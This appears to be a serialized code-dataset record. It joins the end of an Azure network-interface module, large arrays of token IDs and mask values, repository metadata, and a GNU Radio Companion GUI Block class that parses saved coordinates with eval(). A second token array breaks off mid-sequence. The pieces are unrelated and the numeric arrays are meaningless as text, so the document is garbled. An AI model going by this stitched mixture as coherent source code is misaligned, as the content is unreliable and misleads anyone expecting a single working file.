results['ip_configuration']['private_ip_address'] if results['ip_configuration']['public_ip_address'].get('id'): pip = \ self.get_public_ip_address(results['ip_configuration']['public_ip_address']['name']) nic.ip_configurations[0].public_ip_address = PublicIPAddress( id=pip.id, location=pip.location, resource_guid=pip.resource_guid) #name=pip.name, if results['network_security_group'].get('id'): nsg = self.get_security_group(results['network_security_group']['name']) nic.network_security_group = NetworkSecurityGroup(id=nsg.id, location=nsg.location, resource_guid=nsg.resource_guid) # See what actually gets sent to the API request = self.serialize_obj(nic, 'NetworkInterface') self.log(request, pretty_print=True) self.results['state'] = self.create_or_update_nic(nic) elif self.state == 'absent': self.log('Deleting network interface {0}'.format(self.name)) self.delete_nic() return self.results def create_or_update_nic(self, nic): try: poller = self.network_client.network_interfaces.create_or_update(self.resource_group, self.name, nic) new_nic = self.get_poller_result(poller) except Exception as exc: self.fail("Error creating or updating network interface {0} - {1}".format(self.name, str(exc))) return nic_to_dict(new_nic) def delete_nic(self): try: poller = self.network_client.network_interfaces.delete(self.resource_group, self.name) self.get_poller_result(poller) except Exception as exc: self.fail("Error deleting network interface {0} - {1}".format(self.name, str(exc))) # Delete doesn't return anything. If we get this far, assume success self.results['state']['status'] = 'Deleted' return True def get_public_ip_address(self, name): self.log("Fetching public ip address {0}".format(name)) try: public_ip = self.network_client.public_ip_addresses.get(self.resource_group, name) except Exception as exc: self.fail("Error: fetching public ip address {0} - {1}".format(self.name, str(exc))) return public_ip def get_subnet(self, vnet_name, subnet_name): self.log("Fetching subnet {0} in virtual network {1}".format(subnet_name, vnet_name)) try: subnet = self.network_client.subnets.get(self.resource_group, vnet_name, subnet_name) except Exception as exc: self.fail("Error: fetching subnet {0} in virtual network {1} - {2}".format(subnet_name, vnet_name, str(exc))) return subnet def get_security_group(self, name): self.log("Fetching security group {0}".format(name)) try: nsg = self.network_client.network_security_groups.get(self.resource_group, name) except Exception as exc: self.fail("Error: fetching network security group {0} - {1}.".format(name, str(exc))) return nsg def main(): AzureRMNetworkInterface() if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 1898, 334, 67, 9, 7800, 31653, 577, 1214, 374, 12, 665, 77, 983, 5068, 32, 4853, 14, 957, 30, 199, 3, 8540, 2799, 5719, 869, 7130, 75, 685, 335, 84, 12, 665, 6740, 32, 17164, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 13601, 63, 5682, 63, 1200, 3266, 199, 199, 1023, 63, 3270, 26, 298, 18, 14, 17, 2, 199, 199, 3612, 63, 1802, 26, 14944, 15474, 2784, 8386, 14, 199, 199, 1802, 26, 272, 446, 2790, 12, 1678, 503, 3145, 282, 2784, 3217, 14, 3979, 6425, 282, 2784, 3217, 1265, 1471, 5647, 314, 536, 402, 376, 489, 3411, 5791, 2784, 12, 314, 536, 402, 376, 3411, 6303, 4453, 314, 5791, 2784, 14, 437, 849, 6391, 1572, 489, 436, 4575, 3531, 2287, 911, 506, 2737, 5847, 12, 503, 1265, 883, 5647, 314, 536, 402, 376, 3411, 6391, 1572, 489, 436, 4575, 3531, 2287, 14, 1666, 314, 7251, 5084, 367, 1655, 2436, 14, 199, 199, 1419, 26, 272, 2073, 63, 923, 26, 267, 1369, 26, 288, 446, 2812, 402, 282, 2073, 1572, 2382, 314, 2784, 3217, 3495, 503, 911, 506, 2737, 14, 267, 1415, 26, 2549, 272, 536, 26, 267, 1369, 26, 288, 446, 2812, 402, 314, 2784, 3217, 14, 267, 1415, 26, 2549, 272, 1174, 26, 267, 1369, 26, 288, 446, 10716, 314, 1174, 402, 314, 2784, 3217, 14, 3645, 283, 1881, 7, 370, 1218, 503, 1678, 376, 3217, 436, 1598, 283, 5575, 7, 370, 3145, 376, 3217, 14, 267, 849, 26, 3451, 267, 3415, 26, 288, 446, 9552, 288, 446, 3451, 267, 1415, 26, 3055, 272, 2909, 26, 267, 1369, 26, 288, 446, 4821, 13601, 2909, 14, 7827, 370, 2909, 402, 314, 2073, 1572, 14, 267, 849, 26, 2073, 63, 923, 2909, 267, 1415, 26, 3055, 272, 5791, 63, 1200, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 5791, 2784, 543, 1314, 314, 2784, 3217, 911, 506, 4568, 14, 11105, 1598, 1380, 6425, 282, 2784, 3217, 14, 267, 5481, 26, 288, 446, 5791, 63, 1200, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 6303, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 6303, 4453, 314, 2013, 5791, 2784, 14, 11105, 1380, 6425, 282, 2784, 1598, 3217, 267, 5481, 26, 288, 446, 6303, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 747, 63, 466, 26, 267, 1369, 26, 288, 446, 22391, 1263, 4713, 370, 506, 3483, 370, 282, 849, 6391, 1572, 14, 3979, 6425, 282, 2784, 3217, 12, 340, 949, 1598, 6391, 1572, 536, 365, 2741, 12, 282, 849, 6391, 1572, 911, 506, 2737, 14, 982, 314, 747, 63, 466, 365, 283, 8647, 297, 1598, 282, 2332, 911, 506, 3483, 17266, 820, 11741, 2879, 14, 982, 314, 747, 63, 466, 365, 283, 14091, 297, 282, 2332, 17266, 12027, 2879, 911, 506, 1598, 3483, 14, 267, 3415, 26, 288, 446, 5417, 288, 446, 10130, 267, 849, 26, 10130, 267, 1415, 26, 3055, 272, 5726, 63, 711, 63, 1562, 26, 267, 1369, 26, 288, 446, 4821, 6509, 20, 2287, 626, 26945, 4453, 314, 2013, 6303, 14, 267, 1415, 26, 3055, 272, 5726, 63, 711, 63, 14940, 63, 765, 26, 267, 1369, 26, 288, 446, 298, 17768, 3775, 503, 440, 314, 7943, 3531, 2287, 365, 19860, 14, 6944, 26, 1380, 6425, 282, 2784, 3217, 1598, 9176, 282, 574, 402, 283, 9278, 7, 5074, 626, 282, 5726, 63, 711, 63, 1562, 574, 506, 2741, 14, 2047, 883, 1678, 1598, 314, 18723, 1083, 370, 283, 9278, 7, 2410, 282, 8336, 5726, 3384, 2287, 965, 2757, 7943, 2122, 267, 849, 26, 21907, 267, 3415, 26, 288, 446, 21907, 288, 446, 13599, 267, 1415, 26, 3055, 272, 4575, 63, 711, 26, 267, 1369, 26, 288, 446, 3979, 6425, 282, 2784, 3217, 12, 340, 949, 4575, 3531, 2287, 536, 365, 2741, 282, 849, 4575, 3531, 1598, 2287, 911, 506, 2737, 14, 2494, 370, 3055, 12, 340, 1265, 886, 440, 2934, 282, 4575, 3531, 2287, 5847, 2737, 14, 267, 849, 26, 2549, 267, 1415, 26, 3055, 272, 4575, 63, 711, 63, 1562, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 4575, 3531, 2287, 909, 370, 20133, 543, 314, 6391, 1572, 14, 267, 5481, 26, 288, 446, 4575, 63, 711, 63, 1562, 288, 446, 4575, 63, 711, 63, 354, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 4575, 63, 711, 63, 14940, 63, 765, 26, 267, 1369, 26, 288, 446, 982, 282, 4575, 63, 711, 63, 1562, 63, 354, 365, 440, 2741, 12, 282, 849, 4575, 3531, 2287, 911, 506, 2737, 14, 710, 18723, 1598, 1083, 16756, 3775, 503, 440, 314, 4575, 3531, 2287, 7943, 370, 314, 2784, 3217, 365, 19860, 14, 267, 3415, 26, 288, 446, 21907, 288, 446, 13599, 267, 849, 26, 21907, 267, 1415, 26, 3055, 272, 6391, 63, 923, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 6391, 1572, 543, 1314, 370, 20133, 314, 2784, 3217, 14, 982, 440, 2741, 12, 282, 1598, 849, 6391, 1572, 911, 506, 2737, 14, 267, 5481, 26, 288, 446, 6391, 63, 923, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 1551, 63, 5203, 26, 267, 1369, 26, 288 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 199, 3, 1898, 334, 67, 9, 7800, 31653, 577, 1214, 374, 12, 665, 77, 983, 5068, 32, 4853, 14, 957, 30, 199, 3, 8540, 2799, 5719, 869, 7130, 75, 685, 335, 84, 12, 665, 6740, 32, 17164, 14, 957, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 13601, 63, 5682, 63, 1200, 3266, 199, 199, 1023, 63, 3270, 26, 298, 18, 14, 17, 2, 199, 199, 3612, 63, 1802, 26, 14944, 15474, 2784, 8386, 14, 199, 199, 1802, 26, 272, 446, 2790, 12, 1678, 503, 3145, 282, 2784, 3217, 14, 3979, 6425, 282, 2784, 3217, 1265, 1471, 5647, 314, 536, 402, 376, 489, 3411, 5791, 2784, 12, 314, 536, 402, 376, 3411, 6303, 4453, 314, 5791, 2784, 14, 437, 849, 6391, 1572, 489, 436, 4575, 3531, 2287, 911, 506, 2737, 5847, 12, 503, 1265, 883, 5647, 314, 536, 402, 376, 3411, 6391, 1572, 489, 436, 4575, 3531, 2287, 14, 1666, 314, 7251, 5084, 367, 1655, 2436, 14, 199, 199, 1419, 26, 272, 2073, 63, 923, 26, 267, 1369, 26, 288, 446, 2812, 402, 282, 2073, 1572, 2382, 314, 2784, 3217, 3495, 503, 911, 506, 2737, 14, 267, 1415, 26, 2549, 272, 536, 26, 267, 1369, 26, 288, 446, 2812, 402, 314, 2784, 3217, 14, 267, 1415, 26, 2549, 272, 1174, 26, 267, 1369, 26, 288, 446, 10716, 314, 1174, 402, 314, 2784, 3217, 14, 3645, 283, 1881, 7, 370, 1218, 503, 1678, 376, 3217, 436, 1598, 283, 5575, 7, 370, 3145, 376, 3217, 14, 267, 849, 26, 3451, 267, 3415, 26, 288, 446, 9552, 288, 446, 3451, 267, 1415, 26, 3055, 272, 2909, 26, 267, 1369, 26, 288, 446, 4821, 13601, 2909, 14, 7827, 370, 2909, 402, 314, 2073, 1572, 14, 267, 849, 26, 2073, 63, 923, 2909, 267, 1415, 26, 3055, 272, 5791, 63, 1200, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 5791, 2784, 543, 1314, 314, 2784, 3217, 911, 506, 4568, 14, 11105, 1598, 1380, 6425, 282, 2784, 3217, 14, 267, 5481, 26, 288, 446, 5791, 63, 1200, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 6303, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 6303, 4453, 314, 2013, 5791, 2784, 14, 11105, 1380, 6425, 282, 2784, 1598, 3217, 267, 5481, 26, 288, 446, 6303, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 747, 63, 466, 26, 267, 1369, 26, 288, 446, 22391, 1263, 4713, 370, 506, 3483, 370, 282, 849, 6391, 1572, 14, 3979, 6425, 282, 2784, 3217, 12, 340, 949, 1598, 6391, 1572, 536, 365, 2741, 12, 282, 849, 6391, 1572, 911, 506, 2737, 14, 982, 314, 747, 63, 466, 365, 283, 8647, 297, 1598, 282, 2332, 911, 506, 3483, 17266, 820, 11741, 2879, 14, 982, 314, 747, 63, 466, 365, 283, 14091, 297, 282, 2332, 17266, 12027, 2879, 911, 506, 1598, 3483, 14, 267, 3415, 26, 288, 446, 5417, 288, 446, 10130, 267, 849, 26, 10130, 267, 1415, 26, 3055, 272, 5726, 63, 711, 63, 1562, 26, 267, 1369, 26, 288, 446, 4821, 6509, 20, 2287, 626, 26945, 4453, 314, 2013, 6303, 14, 267, 1415, 26, 3055, 272, 5726, 63, 711, 63, 14940, 63, 765, 26, 267, 1369, 26, 288, 446, 298, 17768, 3775, 503, 440, 314, 7943, 3531, 2287, 365, 19860, 14, 6944, 26, 1380, 6425, 282, 2784, 3217, 1598, 9176, 282, 574, 402, 283, 9278, 7, 5074, 626, 282, 5726, 63, 711, 63, 1562, 574, 506, 2741, 14, 2047, 883, 1678, 1598, 314, 18723, 1083, 370, 283, 9278, 7, 2410, 282, 8336, 5726, 3384, 2287, 965, 2757, 7943, 2122, 267, 849, 26, 21907, 267, 3415, 26, 288, 446, 21907, 288, 446, 13599, 267, 1415, 26, 3055, 272, 4575, 63, 711, 26, 267, 1369, 26, 288, 446, 3979, 6425, 282, 2784, 3217, 12, 340, 949, 4575, 3531, 2287, 536, 365, 2741, 282, 849, 4575, 3531, 1598, 2287, 911, 506, 2737, 14, 2494, 370, 3055, 12, 340, 1265, 886, 440, 2934, 282, 4575, 3531, 2287, 5847, 2737, 14, 267, 849, 26, 2549, 267, 1415, 26, 3055, 272, 4575, 63, 711, 63, 1562, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 4575, 3531, 2287, 909, 370, 20133, 543, 314, 6391, 1572, 14, 267, 5481, 26, 288, 446, 4575, 63, 711, 63, 1562, 288, 446, 4575, 63, 711, 63, 354, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 4575, 63, 711, 63, 14940, 63, 765, 26, 267, 1369, 26, 288, 446, 982, 282, 4575, 63, 711, 63, 1562, 63, 354, 365, 440, 2741, 12, 282, 849, 4575, 3531, 2287, 911, 506, 2737, 14, 710, 18723, 1598, 1083, 16756, 3775, 503, 440, 314, 4575, 3531, 2287, 7943, 370, 314, 2784, 3217, 365, 19860, 14, 267, 3415, 26, 288, 446, 21907, 288, 446, 13599, 267, 849, 26, 21907, 267, 1415, 26, 3055, 272, 6391, 63, 923, 63, 354, 26, 267, 1369, 26, 288, 446, 2812, 402, 376, 3411, 6391, 1572, 543, 1314, 370, 20133, 314, 2784, 3217, 14, 982, 440, 2741, 12, 282, 1598, 849, 6391, 1572, 911, 506, 2737, 14, 267, 5481, 26, 288, 446, 6391, 63, 923, 267, 1415, 26, 3055, 267, 849, 26, 2973, 272, 1551, 63, 5203, 26, 267, 1369, 26, 288, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
glneo/gnuradio-davisaf
grc/gui/Block.py
27
6589
""" Copyright 2007, 2008, 2009 Free Software Foundation, Inc. This file is part of GNU Radio GNU Radio Companion is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. GNU Radio Companion is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA """ from Element import Element import Utils import Colors from .. base import odict from Constants import BORDER_PROXIMITY_SENSITIVITY from Constants import \ BLOCK_LABEL_PADDING, \ PORT_SEPARATION, LABEL_SEPARATION, \ PORT_BORDER_SEPARATION, POSSIBLE_ROTATIONS import pygtk pygtk.require('2.0') import gtk import pango BLOCK_MARKUP_TMPL="""\ #set $foreground = $block.is_valid() and 'black' or 'red' <span foreground="$foreground" font_desc="Sans 8"><b>$encode($block.get_name())</b></span>""" class Block(Element): """The graphical signal block.""" def __init__(self): """ Block contructor. Add graphics related params to the block. """ #add the position param self.get_params().append(self.get_parent().get_parent().Param( block=self, n=odict({ 'name': 'GUI Coordinate', 'key': '_coordinate', 'type': 'raw', 'value': '(0, 0)', 'hide': 'all', }) )) self.get_params().append(self.get_parent().get_parent().Param( block=self, n=odict({ 'name': 'GUI Rotation', 'key': '_rotation', 'type': 'raw', 'value': '0', 'hide': 'all', }) )) Element.__init__(self) def get_coordinate(self): """ Get the coordinate from the position param. @return the coordinate tuple (x, y) or (0, 0) if failure """ try: #should evaluate to tuple coor = eval(self.get_param('_coordinate').get_value()) x, y = map(int, coor) fgW,fgH = self.get_parent().get_size() if x <= 0: x = 0 elif x >= fgW - BORDER_PROXIMITY_SENSITIVITY: x = fgW - BORDER_PROXIMITY_SENSITIVITY if y <= 0: y = 0 elif y >= fgH - BORDER_PROXIMITY_SENSITIVITY: y = fgH - BORDER_PROXIMITY_SENSITIVITY return (x, y) except: self.set_coordinate((0, 0)) return (0, 0) def set_coordinate(self, coor): """ Set the coordinate into the position param. @param coor the coordinate tuple (x, y) """ self.get_param('_coordinate').set_value(str(coor)) def get_rotation(self): """ Get the rotation from the position param. @return the rotation in degrees or 0 if failure """ try: #should evaluate to dict rotation = eval(self.get_param('_rotation').get_value()) return int(rotation) except: self.set_rotation(POSSIBLE_ROTATIONS[0]) return POSSIBLE_ROTATIONS[0] def set_rotation(self, rot): """ Set the rotation into the position param. @param rot the rotation in degrees """ self.get_param('_rotation').set_value(str(rot)) def create_shapes(self): """Update the block, parameters, and ports when a change occurs.""" Element.create_shapes(self) if self.is_horizontal(): self.add_area((0, 0), (self.W, self.H)) elif self.is_vertical(): self.add_area((0, 0), (self.H, self.W)) def create_labels(self): """Create the labels for the signal block.""" Element.create_labels(self) self._bg_color = self.get_enabled() and Colors.BLOCK_ENABLED_COLOR or Colors.BLOCK_DISABLED_COLOR layouts = list() #create the main layout layout = gtk.DrawingArea().create_pango_layout('') layouts.append(layout) layout.set_markup(Utils.parse_template(BLOCK_MARKUP_TMPL, block=self)) self.label_width, self.label_height = layout.get_pixel_size() #display the params markups = [param.get_markup() for param in self.get_params() if param.get_hide() not in ('all', 'part')] if markups: layout = gtk.DrawingArea().create_pango_layout('') layout.set_spacing(LABEL_SEPARATION*pango.SCALE) layout.set_markup('\n'.join(markups)) layouts.append(layout) w,h = layout.get_pixel_size() self.label_width = max(w, self.label_width) self.label_height += h + LABEL_SEPARATION width = self.label_width height = self.label_height #setup the pixmap pixmap = self.get_parent().new_pixmap(width, height) gc = pixmap.new_gc() gc.set_foreground(self._bg_color) pixmap.draw_rectangle(gc, True, 0, 0, width, height) #draw the layouts h_off = 0 for i,layout in enumerate(layouts): w,h = layout.get_pixel_size() if i == 0: w_off = (width-w)/2 else: w_off = 0 pixmap.draw_layout(gc, w_off, h_off, layout) h_off = h + h_off + LABEL_SEPARATION #create vertical and horizontal pixmaps self.horizontal_label = pixmap if self.is_vertical(): self.vertical_label = self.get_parent().new_pixmap(height, width) Utils.rotate_pixmap(gc, self.horizontal_label, self.vertical_label) #calculate width and height needed self.W = self.label_width + 2*BLOCK_LABEL_PADDING self.H = max(*( [self.label_height+2*BLOCK_LABEL_PADDING] + [2*PORT_BORDER_SEPARATION + \ sum([port.H + PORT_SEPARATION for port in ports]) - PORT_SEPARATION for ports in (self.get_sources(), self.get_sinks())] )) def draw(self, gc, window): """ Draw the signal block with label and inputs/outputs. @param gc the graphics context @param window the gtk window to draw on """ x, y = self.get_coordinate() #draw main block Element.draw( self, gc, window, bg_color=self._bg_color, border_color=self.is_highlighted() and Colors.HIGHLIGHT_COLOR or Colors.BORDER_COLOR, ) #draw label image if self.is_horizontal(): window.draw_drawable(gc, self.horizontal_label, 0, 0, x+BLOCK_LABEL_PADDING, y+(self.H-self.label_height)/2, -1, -1) elif self.is_vertical(): window.draw_drawable(gc, self.vertical_label, 0, 0, x+(self.H-self.label_height)/2, y+BLOCK_LABEL_PADDING, -1, -1) #draw ports for port in self.get_ports(): port.draw(gc, window) def what_is_selected(self, coor, coor_m=None): """ Get the element that is selected. @param coor the (x,y) tuple @param coor_m the (x_m, y_m) tuple @return this block, a port, or None """ for port in self.get_ports(): port_selected = port.what_is_selected(coor, coor_m) if port_selected: return port_selected return Element.what_is_selected(self, coor, coor_m)
gpl-3.0
[ 624, 199, 7384, 10219, 12, 9079, 12, 8937, 2868, 2290, 2752, 12, 3277, 14, 199, 2765, 570, 365, 1777, 402, 1664, 13514, 199, 199, 17732, 13514, 3599, 32012, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 8951, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 305, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 499, 199, 1618, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 199, 17732, 13514, 3599, 32012, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 7911, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 31461, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 17732, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 199, 5556, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 21632, 543, 642, 2240, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 30216, 12, 3277, 2020, 8026, 11236, 14259, 12, 12066, 11844, 12, 8226, 12, 4828, 221, 11315, 13, 10067, 12, 8217, 199, 624, 199, 199, 504, 6566, 492, 6566, 199, 646, 17397, 199, 646, 3626, 1384, 199, 504, 2508, 1300, 492, 312, 807, 199, 504, 22296, 492, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 199, 504, 22296, 492, 971, 199, 198, 8475, 63, 13837, 63, 48, 9732, 1206, 12, 971, 199, 198, 3657, 63, 899, 4014, 2594, 12, 491, 1217, 2901, 63, 899, 4014, 2594, 12, 971, 199, 198, 3657, 63, 30083, 63, 899, 4014, 2594, 12, 9620, 7187, 63, 31075, 12969, 199, 646, 1134, 12275, 199, 647, 12275, 14, 4365, 360, 18, 14, 16, 358, 199, 646, 8116, 199, 646, 299, 17771, 199, 199, 8475, 63, 10520, 2160, 63, 23719, 11916, 60, 199, 3, 409, 2672, 23801, 275, 2672, 1457, 14, 374, 63, 1078, 342, 436, 283, 8399, 7, 503, 283, 581, 7, 199, 28, 3751, 24470, 628, 4, 23801, 2, 5023, 63, 3257, 628, 51, 796, 1695, 8186, 66, 30, 4, 2143, 22187, 1457, 14, 362, 63, 354, 1012, 1108, 66, 2957, 3751, 11193, 199, 199, 533, 8651, 8, 2162, 304, 199, 198, 624, 1918, 3343, 2652, 4673, 1853, 1041, 421, 198, 318, 636, 826, 721, 277, 304, 507, 198, 624, 507, 198, 3142, 406, 454, 85, 630, 14, 507, 198, 1123, 24348, 4048, 1862, 370, 314, 1853, 14, 507, 198, 624, 507, 198, 3, 525, 314, 3421, 1215, 507, 198, 277, 14, 362, 63, 1162, 1252, 740, 8, 277, 14, 362, 63, 1708, 1252, 362, 63, 1708, 1252, 4098, 8, 686, 198, 1457, 29, 277, 12, 686, 198, 78, 29, 79, 807, 2561, 1585, 198, 7, 354, 356, 283, 14438, 25334, 323, 297, 1585, 198, 7, 498, 356, 2513, 20493, 297, 1585, 198, 1133, 514, 356, 283, 1773, 297, 1585, 198, 7, 585, 356, 8189, 16, 12, 378, 3196, 1585, 198, 7, 8191, 356, 283, 452, 297, 686, 198, 1552, 507, 198, 430, 507, 198, 277, 14, 362, 63, 1162, 1252, 740, 8, 277, 14, 362, 63, 1708, 1252, 362, 63, 1708, 1252, 4098, 8, 686, 198, 1457, 29, 277, 12, 686, 198, 78, 29, 79, 807, 2561, 1585, 198, 7, 354, 356, 283, 14438, 28642, 297, 1585, 198, 7, 498, 356, 2513, 15362, 297, 1585, 198, 1133, 514, 356, 283, 1773, 297, 1585, 198, 7, 585, 356, 283, 16, 297, 1585, 198, 7, 8191, 356, 283, 452, 297, 686, 198, 1552, 507, 198, 430, 507, 198, 2162, 855, 826, 721, 277, 9, 421, 198, 318, 664, 63, 20493, 8, 277, 304, 507, 198, 624, 507, 198, 1002, 314, 10021, 687, 314, 3421, 1215, 14, 507, 198, 32, 1107, 314, 10021, 2008, 334, 88, 12, 612, 9, 503, 334, 16, 12, 378, 9, 340, 5988, 507, 198, 624, 507, 198, 893, 26, 327, 5626, 9352, 370, 2008, 686, 198, 331, 269, 275, 3468, 8, 277, 14, 362, 63, 635, 6412, 20493, 1959, 362, 63, 585, 1012, 686, 198, 88, 12, 612, 275, 2341, 8, 442, 12, 512, 269, 9, 686, 198, 9681, 55, 12, 9681, 40, 275, 291, 14, 362, 63, 1708, 1252, 362, 63, 890, 342, 686, 198, 692, 671, 2695, 378, 26, 1585, 198, 88, 275, 378, 686, 198, 4164, 671, 2356, 16587, 55, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 26, 1585, 198, 88, 275, 16587, 55, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 686, 198, 692, 612, 2695, 378, 26, 1585, 198, 89, 275, 378, 686, 198, 4164, 612, 2356, 16587, 40, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 26, 1585, 198, 89, 275, 16587, 40, 446, 699, 12125, 63, 2514, 56, 1469, 1922, 63, 51, 8456, 649, 6882, 1922, 686, 198, 1107, 334, 88, 12, 612, 9, 507, 198, 2590, 26, 686, 198, 277, 14, 409, 63, 20493, 1332, 16, 12, 378, 430, 686, 198, 1107, 334, 16, 12, 378, 9, 421, 198, 318, 663, 63, 20493, 8, 277, 12, 512, 269, 304, 507, 198, 624, 507, 198, 1084, 314, 10021, 1901, 314, 3421, 1215, 14, 507, 198, 32, 635, 512, 269, 314, 10021, 2008, 334, 88, 12, 612, 9, 507, 198, 624, 507, 198, 277, 14, 362, 63, 635, 6412, 20493, 1959, 409, 63, 585, 8, 495, 8, 331, 269, 430, 421, 198, 318, 664, 63, 15362, 8, 277, 304, 507, 198, 624, 507, 198, 1002, 314, 13038, 687, 314, 3421, 1215, 14, 507, 198, 32, 1107, 314, 13038, 315, 14358, 503, 378, 340, 5988, 507, 198, 624, 507, 198, 893, 26, 327, 5626, 9352, 370, 1211, 686, 198, 15362, 275, 3468, 8, 277, 14, 362, 63, 635, 6412, 15362, 1959, 362, 63, 585, 1012, 686, 198, 1107, 1109, 8, 15362, 9, 